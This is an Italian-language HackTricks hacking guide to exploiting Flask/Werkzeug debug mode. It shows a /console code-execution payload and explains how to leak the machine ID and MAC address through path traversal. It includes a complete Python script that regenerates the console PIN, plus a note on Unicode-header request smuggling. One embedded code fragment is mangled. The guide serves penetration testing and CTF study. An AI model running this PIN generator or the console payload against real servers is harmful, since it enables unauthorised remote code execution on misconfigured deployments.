Werkzeug / Flask Debug
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Console RCE
Se il debug è attivo, potresti provare ad accedere a /console e ottenere RCE.
__import__('os').popen('whoami').read();
.png)
Ci sono anche diversi exploit su Internet come questo o uno in metasploit.
Pin Protetto - Traversata del Percorso
In alcune occasioni, lâendpoint /console sarĂ protetto da un pin. Se hai una vulnerabilitĂ di traversata del file, puoi leakare tutte le informazioni necessarie per generare quel pin.
Exploit del PIN della Console di Werkzeug
Forza una pagina di errore di debug nellâapp per vedere questo:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Un messaggio riguardante lo scenario âconsole bloccataâ viene visualizzato quando si tenta di accedere allâinterfaccia di debug di Werkzeug, indicando la necessitĂ di un PIN per sbloccare la console. Si suggerisce di sfruttare il PIN della console analizzando lâalgoritmo di generazione del PIN nel file di inizializzazione del debug di Werkzeug (__init__.py). Il meccanismo di generazione del PIN può essere studiato dal Werkzeug source code repository, anche se si consiglia di procurarsi il codice del server effettivo tramite una vulnerabilitĂ di traversamento di file a causa di potenziali discrepanze di versione.
Per sfruttare il PIN della console, sono necessari due set di variabili, probably_public_bits e private_bits:
probably_public_bits
username: Si riferisce allâutente che ha avviato la sessione Flask.modname: Tipicamente designato comeflask.app.getattr(app, '__name__', getattr(app.__class__, '__name__')): Generalmente si risolve in Flask.getattr(mod, '__file__', None): Rappresenta il percorso completo aapp.pyallâinterno della directory Flask (ad esempio,/usr/local/lib/python3.5/dist-packages/flask/app.py). Seapp.pynon è applicabile, provareapp.pyc.
private_bits
-
uuid.getnode(): Recupera lâindirizzo MAC della macchina corrente, constr(uuid.getnode())che lo traduce in un formato decimale. -
Per determinare lâindirizzo MAC del server, è necessario identificare lâinterfaccia di rete attiva utilizzata dallâapp (ad esempio,
ens3). In caso di incertezze, leak/proc/net/arpper trovare lâID del dispositivo, quindi estrarre lâindirizzo MAC da/sys/class/net/<device id>/address. -
La conversione di un indirizzo MAC esadecimale in decimale può essere eseguita come mostrato di seguito:
# Esempio di indirizzo MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id(): Concatenando i dati da/etc/machine-ido/proc/sys/kernel/random/boot_idcon la prima riga di/proc/self/cgroupdopo lâultima barra (/).
Codice per `get_machine_id()`
```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_idif _machine_id is not None: return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]: linux = bââ
machine-id is stable across boots, boot_id is not.
for filename in â/etc/machine-idâ, â/proc/sys/kernel/random/boot_idâ: try: with open(filename, ârbâ) as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
Containers share the same machine id, add some cgroup
information. This is used outside containers too but should be
relatively stable across boots.
try: with open(â/proc/self/cgroupâ, ârbâ) as f: linux += f.readline().strip().rpartition(bâ/â)[2] except OSError: pass
if linux: return linux
On OS X, use ioreg to get the computerâs serial number.
try:
</details>
Dopo aver raccolto tutti i dati necessari, lo script di exploit può essere eseguito per generare il PIN della console Werkzeug:
Dopo aver raccolto tutti i dati necessari, lo script di exploit può essere eseguito per generare il PIN della console Werkzeug. Lo script utilizza i `probably_public_bits` e `private_bits` assemblati per creare un hash, che viene poi sottoposto a ulteriore elaborazione per produrre il PIN finale. Di seguito è riportato il codice Python per eseguire questo processo:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Questo script produce il PIN hashando i bit concatenati, aggiungendo sali specifici (cookiesalt e pinsalt), e formattando lâoutput. Ă importante notare che i valori effettivi per probably_public_bits e private_bits devono essere ottenuti con precisione dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console di Werkzeug.
Tip
Se sei su una vecchia versione di Werkzeug, prova a cambiare lâalgoritmo di hashing in md5 invece di sha1.
Caratteri Unicode di Werkzeug
Come osservato in questo problema, Werkzeug non chiude una richiesta con caratteri Unicode negli header. E come spiegato in questo writeup, questo potrebbe causare una vulnerabilitĂ di CL.0 Request Smuggling.
Questo perchĂŠ, in Werkzeug è possibile inviare alcuni caratteri Unicode e questo farĂ rompere il server. Tuttavia, se la connessione HTTP è stata creata con lâheader Connection: keep-alive, il corpo della richiesta non verrĂ letto e la connessione rimarrĂ aperta, quindi il corpo della richiesta sarĂ trattato come la prossima richiesta HTTP.
Sfruttamento Automatizzato
Riferimenti
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

